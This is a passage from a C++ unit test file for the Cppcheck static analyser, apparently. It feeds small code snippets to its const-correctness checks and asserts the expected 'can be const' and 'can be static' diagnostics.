j;\\n\"\n \" void f() { h(j, s.g()); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:10]: (style, inconclusive) Technically the member function 'T::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" int& g() { return i; }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void h(int, int&);\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \" int j;\\n\"\n \" void f() { h(j, s.g()); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" const int& g() const { return i; }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void h(int, const int*);\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \" int j;\\n\"\n \" void f() { h(j, &s.g()); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:10]: (style, inconclusive) Technically the member function 'T::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" int& g() { return i; }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void h(int, int*);\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \" int j;\\n\"\n \" void f() { h(j, &s.g()); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"void j(int** x);\\n\"\n \"void k(int* const* y);\\n\"\n \"struct S {\\n\"\n \" int* p;\\n\"\n \" int** q;\\n\"\n \" int* const* r;\\n\"\n \" void f1() { j(&p); }\\n\"\n \" void f2() { j(q); }\\n\"\n \" void g1() { k(&p); }\\n\"\n \" void g2() { k(q); }\\n\"\n \" void g3() { k(r); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"void m(int*& r);\\n\"\n \"void n(int* const& s);\\n\"\n \"struct T {\\n\"\n \" int i;\\n\"\n \" int* p;\\n\"\n \" void f1() { m(p); }\\n\"\n \" void f2() { n(&i); }\\n\"\n \" void f3() { n(p); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const88() { // #11626\n checkConst(\"struct S {\\n\"\n \" bool f() { return static_cast(p); }\\n\"\n \" const int* g() { return const_cast(p); }\\n\"\n \" const int* h() { return (const int*)p; }\\n\"\n \" char* j() { return reinterpret_cast(p); }\\n\"\n \" char* k() { return (char*)p; }\\n\"\n \" int* p;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\"\n \"[test.cpp:3:16]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\"\n \"[test.cpp:4:16]: (style, inconclusive) Technically the member function 'S::h' can be const. [functionConst]\\n\",\n errout_str());\n\n checkConst(\"struct S {\\n\"\n \" bool f() { return p != nullptr; }\\n\"\n \" std::shared_ptr p;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\",\n errout_str());\n }\n\n void const89() {\n checkConst(\"struct S {\\n\" // #11654\n \" void f(bool b);\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void S::f(bool b) {\\n\"\n \" if (i && b)\\n\"\n \" f(false);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10] -> [test.cpp:5:9]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" void f(int& r);\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void S::f(int& r) {\\n\"\n \" r = 0;\\n\"\n \" if (i)\\n\"\n \" f(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\" // #11744\n \" S* p;\\n\"\n \" int f() {\\n\"\n \" if (p)\\n\"\n \" return 1 + p->f();\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \" int g(int i) {\\n\"\n \" if (i > 0)\\n\"\n \" return i + g(i - 1);\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\"\n \"[test.cpp:8:9]: (performance, inconclusive) Technically the member function 'S::g' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\",\n errout_str());\n\n checkConst(\"class C {\\n\" // #11653\n \"public:\\n\"\n \" void f(bool b) const;\\n\"\n \"};\\n\"\n \"void C::f(bool b) const {\\n\"\n \" if (b)\\n\"\n \" f(false);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:5:9]: (performance, inconclusive) Technically the member function 'C::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\",\n errout_str());\n }\n\n void const90() { // #11637\n checkConst(\"class S {};\\n\"\n \"struct C {\\n\"\n \" C(const S*);\\n\"\n \" C(const S&);\\n\"\n \"};\\n\"\n \"class T {\\n\"\n \" S s;\\n\"\n \" void f1() { C c = C{ &s }; }\\n\"\n \" void f2() { C c = C{ s }; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:10]: (style, inconclusive) Technically the member function 'T::f1' can be const. [functionConst]\\n\"\n \"[test.cpp:9:10]: (style, inconclusive) Technically the member function 'T::f2' can be const. [functionConst]\\n\",\n errout_str());\n }\n\n void const91() { // #11790\n checkConst(\"struct S {\\n\"\n \" char* p;\\n\"\n \" template \\n\"\n \" T* get() {\\n\"\n \" return reinterpret_cast(p);\\n\"\n \" }\\n\"\n \"};\\n\"\n \"const int* f(S& s) {\\n\"\n \" return s.get();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const92() { // #11886\n checkConst(\"void g(int);\\n\"\n \"template\\n\"\n \"struct S : public S {\\n\"\n \" void f() {\\n\"\n \" g(n - 1);\\n\"\n \" }\\n\"\n \"};\\n\"\n \"template<>\\n\"\n \"struct S<0> {};\\n\"\n \"struct D : S<150> {};\\n\");\n // don't hang\n }\n\n void const93() { // #12162\n checkConst(\"struct S {\\n\"\n \" bool f() {\\n\"\n \" return m.cbegin()->first == 0;\\n\"\n \" }\\n\"\n \" bool g() {\\n\"\n \" return m.count(0);\\n\"\n \" }\\n\"\n \" std::map m;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\"\n \"[test.cpp:5:10]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\",\n errout_str());\n }\n\n void const94() { // #7459\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A() : tickFunction(&A::nop) {}\\n\"\n \" void tick() { (this->*tickFunction)(); }\\n\"\n \"private:\\n\"\n \" typedef void (A::* Fn)();\\n\"\n \" Fn tickFunction;\\n\"\n \" void nop() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const95() { // #13320\n checkConst(\"class C {\\n\"\n \" std::string x;\\n\"\n \" std::string get() && { return x; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const96() {\n checkConst(\"struct S : B {\\n\" // #13282\n \" bool f() { return b; }\\n\"\n \" bool g() override { return b; }\\n\"\n \" bool b;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Either there is a missing 'override', or the member function 'S::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct B;\\n\" // #13382\n \"struct S : B {\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" B::g(0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const97() { // #13301\n checkConst(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \" int f() {\\n\"\n \" const int& r = v.front();\\n\"\n \" return r;\\n\"\n \" }\\n\"\n \" int g() {\\n\"\n \" const int& r = v.at(0);\\n\"\n \" return r;\\n\"\n \" }\\n\"\n \" void h() {\\n\"\n \" if (v.front() == 0) {}\\n\"\n \" if (1 == v.front()) {}\\n\"\n \" }\\n\"\n \" void i() {\\n\"\n \" v.at(0) = 0;\\n\"\n \" }\\n\"\n \" void j() {\\n\"\n \" dostuff(1, v.at(0));\\n\"\n \" }\\n\"\n \" void k() {\\n\"\n \" int& r = v.front();\\n\"\n \" r = 0;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\"\n \"[test.cpp:7:9]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\"\n \"[test.cpp:11:10]: (style, inconclusive) Technically the member function 'S::h' can be const. [functionConst]\\n\",\n errout_str());\n\n checkConst(\"struct B { std::string s; };\\n\"\n \"struct D : B {\\n\"\n \" bool f(std::string::iterator it) { return it == B::s.begin(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'D::f' can be const. [functionConst]\\n\",\n errout_str());\n }\n\n void const98() { // #13642\n checkConst(\"enum E {\\n\"\n \" E0,\\n\"\n \" E1\\n\"\n \"};\\n\"\n \"void set(int* p) {\\n\"\n \" *p = 1;\\n\"\n \"}\\n\"\n \"struct S {\\n\"\n \" E e;\\n\"\n \" void f() {\\n\"\n \" set(reinterpret_cast(&e));\\n\"\n \" }\\n\"\n \" void g() {\\n\"\n \" set(reinterpret_cast(reinterpret_cast(&e)));\\n\"\n \" }\\n\"\n \" void h() {\\n\"\n \" set((int*)(&e));\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"enum E {\\n\"\n \" E0,\\n\"\n \" E1\\n\"\n \"};\\n\"\n \"void set1(int i, int* p) {\\n\"\n \" *p = i;\\n\"\n \"}\\n\"\n \"void set2(int* p, int i) {\\n\"\n \" *p = i;\\n\"\n \"}\\n\"\n \"struct S {\\n\"\n \" E e;\\n\"\n \" void f1() {\\n\"\n \" set1(1, reinterpret_cast(&e));\\n\"\n \" }\\n\"\n \" void f2() {\\n\"\n \" set2(reinterpret_cast(&e), 1);\\n\"\n \" }\\n\"\n \" void g1() {\\n\"\n \" set1(1, reinterpret_cast(reinterpret_cast(&e)));\\n\"\n \" }\\n\"\n \" void g2() {\\n\"\n \" set2(reinterpret_cast(reinterpret_cast(&e)), 1);\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const99() {\n checkConst(\"typedef void (*InitFunc)(void**);\\n\" // #13953\n \"struct S {\\n\"\n \" int *m;\\n\"\n \" void f(InitFunc func) {\\n\"\n \" func(reinterpret_cast(&m));\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const100() {\n checkConst(\"struct S {\\n\" // #14023\n \" void f() { ++i; }\\n\"\n \" void f() const {}\\n\"\n \" int i;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\" // #14033\n \" void f();\\n\"\n \" void f() const {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n }\n\n void const_handleDefaultParameters() {\n checkConst(\"struct Foo {\\n\"\n \" void foo1(int i, int j = 0) {\\n\"\n \" return func(this);\\n\"\n \" }\\n\"\n \" int bar1() {\\n\"\n \" return foo1(1);\\n\"\n \" }\\n\"\n \" int bar2() {\\n\"\n \" return foo1(1, 2);\\n\"\n \" }\\n\"\n \" int bar3() {\\n\"\n \" return foo1(1, 2, 3);\\n\"\n \" }\\n\"\n \" int bar4() {\\n\"\n \" return foo1();\\n\"\n \" }\\n\"\n \" void foo2(int i = 0) {\\n\"\n \" return func(this);\\n\"\n \" }\\n\"\n \" int bar5() {\\n\"\n \" return foo2();\\n\"\n \" }\\n\"\n \" void foo3() {\\n\"\n \" return func(this);\\n\"\n \" }\\n\"\n \" int bar6() {\\n\"\n \" return foo3();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:11:9]: (performance, inconclusive) Technically the member function 'Foo::bar3' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:14:9]: (performance, inconclusive) Technically the member function 'Foo::bar4' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const_passThisToMemberOfOtherClass() {\n checkConst(\"struct Foo {\\n\"\n \" void foo() {\\n\"\n \" Bar b;\\n\"\n \" b.takeFoo(this);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct Foo {\\n\"\n \" void foo() {\\n\"\n \" Foo f;\\n\"\n \" f.foo();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance, inconclusive) Technically the member function 'Foo::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct A;\\n\" // #5839 - operator()\n \"struct B {\\n\"\n \" void operator()(A *a);\\n\"\n \"};\\n\"\n \"struct A {\\n\"\n \" void dostuff() {\\n\"\n \" B()(this);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void assigningPointerToPointerIsNotAConstOperation() {\n checkConst(\"struct s\\n\"\n \"{\\n\"\n \" int** v;\\n\"\n \" void f()\\n\"\n \" {\\n\"\n \" v = 0;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void assigningArrayElementIsNotAConstOperation() {\n checkConst(\"struct s\\n\"\n \"{\\n\"\n \" ::std::string v[3];\\n\"\n \" void f()\\n\"\n \" {\\n\"\n \" v[0] = \\\"Happy new year!\\\";\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // increment/decrement => not const\n void constincdec() {\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return ++a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return --a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a++; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a--; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return ++a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return --a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a++; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a--; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct S {\\n\" // #10077\n \" int i{};\\n\"\n \" S& operator ++() { ++i; return *this; }\\n\"\n \" S operator ++(int) { S s = *this; ++(*this); return s; }\\n\"\n \" void f() { (*this)--; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constassign1() {\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a/=-2; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a/=-2; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void constassign2() {\n checkConst(\"class Fred {\\n\"\n \" struct A { int a; } s;\\n\"\n \" void nextA() { return s.a=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" struct A { int a; } s;\\n\"\n \" void nextA() { return s.a-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" struct A { int a; } s;\\n\"\n \" void nextA() { return s.a+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" struct A { int a; } s;\\n\"\n \" void nextA() { return s.a*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A { int a; } s;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return s.a=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct A { int a; } s;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return s.a-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct A { int a; } s;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return s.a+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct A { int a; } s;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return s.a*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct A { int a; } s;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return s.a/=-2; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct A { int a; };\\n\"\n \"class Fred {\\n\"\n \" A s;\\n\"\n \" void nextA() { return s.a=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A { int a; };\\n\"\n \"class Fred {\\n\"\n \" A s;\\n\"\n \" void nextA() { return s.a-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A { int a; };\\n\"\n \"class Fred {\\n\"\n \" A s;\\n\"\n \" void nextA() { return s.a+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A { int a; };\\n\"\n \"class Fred {\\n\"\n \" A s;\\n\"\n \" void nextA() { return s.a*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A { int a; };\\n\"\n \"class Fred {\\n\"\n \" A s;\\n\"\n \" void nextA() { return s.a/=-2; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // increment/decrement array element => not const\n void constincdecarray() {\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return ++a[0]; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return --a[0]; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]++; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]--; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return ++a[0]; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return --a[0]; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]++; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]--; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void constassignarray() {\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]/=-2; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]/=-2; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n // return pointer/reference => not const\n void constReturnReference() {\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" int &getR() { return a; }\\n\"\n \" int *getP() { return &a; }\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // delete member variable => not const (but technically it can, it compiles without errors)\n void constDelete() {\n checkConst(\"class Fred {\\n\"\n \" int *a;\\n\"\n \" void clean() { delete a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // A function that returns unknown types can't be const (#1579)\n void constLPVOID() {\n checkConst(\"class Fred {\\n\"\n \" UNKNOWN a() { return 0; };\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:2]: (performance, inconclusive) Technically the member function 'Fred::a' can be static.\\n\", \"\", errout_str());\n\n // #1579 - HDC\n checkConst(\"class Fred {\\n\"\n \" foo bar;\\n\"\n \" UNKNOWN a() { return b; };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // a function that calls const functions can be const\n void constFunc() {\n checkConst(\"class Fred {\\n\"\n \" void f() const { };\\n\"\n \" void a() { f(); };\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance, inconclusive) Technically the member function 'Fred::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'Fred::a' can be const. [functionConst]\\n\", errout_str());\n\n // ticket #1593\n checkConst(\"class A\\n\"\n \"{\\n\"\n \" std::vector m_v;\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" unsigned int GetVecSize() {return m_v.size();}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:17]: (style, inconclusive) Technically the member function 'A::GetVecSize' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A\\n\"\n \"{\\n\"\n \" std::vector m_v;\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" bool GetVecEmpty() {return m_v.empty();}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:9]: (style, inconclusive) Technically the member function 'A::GetVecEmpty' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constVirtualFunc() {\n // base class has no virtual function\n checkConst(\"class A { };\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func() { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:8]: (style, inconclusive) Technically the member function 'B::func' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A { };\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int B::func() { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:6:8] -> [test.cpp:8:8]: (style, inconclusive) Technically the member function 'B::func' can be const. [functionConst]\\n\", errout_str());\n\n // base class has no virtual function\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"class B : public A 